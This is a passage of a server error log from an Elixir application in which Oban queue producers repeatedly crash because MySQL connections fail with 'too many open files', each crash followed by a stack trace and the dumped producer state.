State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:04:29.244178Z], limit: 5, uuid: "8ff8d310-8395-4fd4-bfcf-2d5699c8e9d9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:29.244186Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105964>, refresh_timer: #Reference<0.2525715032.1121189889.105926>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:48.013000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:52.017000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:52.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:04:41.251879Z], limit: 10, uuid: "99af4b24-8f4a-4bf2-b3ba-43198ba1e93b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:41.251888Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.251208>, refresh_timer: #Reference<0.2525715032.1068236804.251192>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:04:41.257742Z], limit: 50, uuid: "94cded2a-9d44-466f-bd57-7baf78c5a28a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:41.257748Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.40>, refresh_timer: #Reference<0.2525715032.1077411843.235276>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:04:41.269782Z], limit: 5, uuid: "03839644-fe9e-49c0-ad03-e9930abbe873", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:41.269787Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.41>, refresh_timer: #Reference<0.2525715032.1121189889.106040>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:53.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:04:41.269027Z], limit: 5, uuid: "3c0eea83-b377-467c-9751-b49002e9b867", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:41.269034Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.251209>, refresh_timer: #Reference<0.2525715032.1121189889.106026>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:04:41.269821Z], limit: 3, uuid: "e2980665-ae03-402c-9132-942c19142067", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:41.269827Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.39>, refresh_timer: #Reference<0.2525715032.1099431938.29>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:53.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:04:41.244264Z], limit: 20, uuid: "4ecb7f24-894e-43d7-9b48-980bc20bdc0e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:41.244274Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.251207>, refresh_timer: #Reference<0.2525715032.1068236804.251193>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:53.603000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:54.748000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:55.501000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:56.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:01.935000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:02.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:04:53.246619Z], limit: 5, uuid: "bedf22e4-f161-4571-9ae7-dbd8fa775113", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:53.246633Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.251351>, refresh_timer: #Reference<0.2525715032.1068236804.251346>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:04:53.249353Z], limit: 20, uuid: "15390bf0-8747-46e5-b8b5-1abb69006d2c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:53.249359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106123>, refresh_timer: #Reference<0.2525715032.1121189889.106111>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
